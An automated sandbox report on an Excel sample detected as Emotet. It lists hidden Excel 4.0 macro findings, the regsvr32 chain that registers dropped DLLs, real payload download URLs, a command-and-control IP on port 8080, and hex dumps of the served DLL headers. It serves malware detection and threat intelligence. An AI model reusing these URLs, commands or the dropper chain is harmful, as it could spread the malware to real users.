Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.32567.15846.18516

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.32567.15846.18516 (renamed file extension from 18516 to xls)
Analysis ID:	632157
MD5:	8b2f1d8c5189b9a97624243d30d6ff36
SHA1:	c2dcb3ea640cae6e974dd32cf12af400ceac46f9
SHA256:	2f10704047062f616e82e6ab4000864a7cde802b5bdef760da79a9204771bcb2
Tags:	SilentBuilderxlsx
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Abnormal high CPU Usage

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Drops PE files to the user directory

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1396 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 204 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1440 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2176 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2976 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FUVVPG\TGCY.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1312 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2960 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1664 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\VrLOhrB\szFRUu.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

svchost.exe (PID: 1252 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
C:\Users\user\uxevr2.ocx	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.1045326687.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.1246167639.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1043672684.00000000002D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.1245776901.00000000001D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1330732797.00000000004D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.913587412.00000000001E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1330526390.00000000001C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000D.00000002.1331411753.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1331036064.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.regsvr32.exe.2d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.4d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.4d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.2d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.1e0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.1c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.1d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.1e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.1c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
13.2.regsvr32.exe.7fef74e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.1d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.7fef74e0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls

ReversingLabs: Detection: 39%

Antivirus detection for URL or domain

Source: https://173.82.82.196/t5	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/	URL Reputation: Label: malware
Source: https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/	Avira URL Cloud: Label: malware
Source: http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/P5	Avira URL Cloud: Label: malware
Source: http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/	URL Reputation: Label: malware
Source: https://173.82.82.196:8080/;j	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: jr-software-web.net	Virustotal: Detection: 10%			Perma Link
Source: masyuk.com	Virustotal: Detection: 6%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Metadefender: Detection: 37%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	ReversingLabs: Detection: 61%
Source: C:\Users\user\uxevr1.ocx	ReversingLabs: Detection: 39%
Source: C:\Users\user\uxevr2.ocx	Metadefender: Detection: 37%	Perma Link
Source: C:\Users\user\uxevr2.ocx	ReversingLabs: Detection: 61%
Source: C:\Users\user\uxevr4.ocx	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\uxevr4.ocx	ReversingLabs: Detection: 65%
Source: C:\Windows\System32\FUVVPG\TGCY.dll (copy)	Metadefender: Detection: 37%	Perma Link
Source: C:\Windows\System32\FUVVPG\TGCY.dll (copy)	ReversingLabs: Detection: 61%
Source: C:\Windows\System32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll (copy)	ReversingLabs: Detection: 39%
Source: C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)	Metadefender: Detection: 25%	Perma Link
Source: C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)	ReversingLabs: Detection: 65%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr1.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr4.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr2.ocx	Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 212.98.224.29:443 -> 192.168.2.22:49173 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		10_2_00000001800248B0

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

DNS query: name: www.melisetotoaksesuar.com

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 212.98.224.29:443

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 212.98.224.29:443

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: Joe Sandbox View

ASN Name: MULTA-ASN1US MULTA-ASN1US

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Joe Sandbox View

IP Address: 173.82.82.196 173.82.82.196

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 09:38:30 GMTServer: ApacheCache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 09:38:30 GMTContent-Disposition: attachment; filename="F3DOS06hLF1rUq3s6XOB.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b5616d3c74=1653298710; expires=Mon, 23-May-2022 09:39:30 GMT; Max-Age=60; path=/Last-Modified: Mon, 23 May 2022 09:38:30 GMTContent-Length: 376320Vary: User-AgentKeep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ea 8c e5 53 ae ed 8b 00 ae ed 8b 00 ae ed 8b 00 c1 9b 15 00 a4 ed 8b 00 c1 9b 21 00 ce ed 8b 00 a7 95 18 00 a9 ed 8b 00 ae ed 8a 00 cb ed 8b 00 c1 9b 20 00 84 ed 8b 00 c1 9b 10 00 af ed 8b 00 c1 9b 11 00 af ed 8b 00 ae ed 1c 00 ac ed 8b 00 c1 9b 16 00 af ed 8b 00 52 69 63 68 ae ed 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 c5 a2 86 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 60 01 00 00 82 04 00 00 00 00 00 7c 90 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 90 fc 01 00 72 00 00 00 24 f2 01 00 50 00 00 00 00 70 02 00 98 90 03 00 00 50 02 00 3c 12 00 00 00 00 00 00 00 00 00 00 00 10 06 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 01 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5e 01 00 00 10 00 00 00 60 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 02 8d 00 00 00 70 01 00 00 8e 00 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 43 00 00 00 00 02 00 00 1c 00 00 00 f2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 3c 12 00 00 00 50 02 00 00 14 00 00 00 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 98 90 03 00 00 70 02 00 00 92 03 00 00 22 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 08 00 00 00 10 06 00 00 0a 00 00 00 b4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Th
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKCache-Control: privatePragma: no-cacheContent-Type: application/x-msdownloadExpires: Mon, 23 May 2022 09:39:24 GMTLast-Modified: Mon, 23 May 2022 09:39:24 GMTServer: Microsoft-IIS/8.5Set-Cookie: 628b564cc20b8=1653298764; expires=Mon, 23-May-2022 09:40:24 GMT; Max-Age=60; path=/Content-Disposition: attachment; filename="LjSKxP.dll"Content-Transfer-Encoding: binaryX-Powered-By: ASP.NETDate: Mon, 23 May 2022 09:39:24 GMTContent-Length: 365056Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /catalog/controller/account/dqfKI/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.melisetotoaksesuar.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /athletics-carnival-2018/3UTZYr9D9f/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: elamurray.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aaabackupsqldb/11hYk3bHJ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jr-software-web.netConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49176 -> 173.82.82.196:8080

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196

Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.com
Source: regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000004.00000002.1330847562.0000000002B0E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330687198.0000000000298000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 0000000A.00000002.1330703562.00000000002B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoc
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1330857701.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1330928255.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
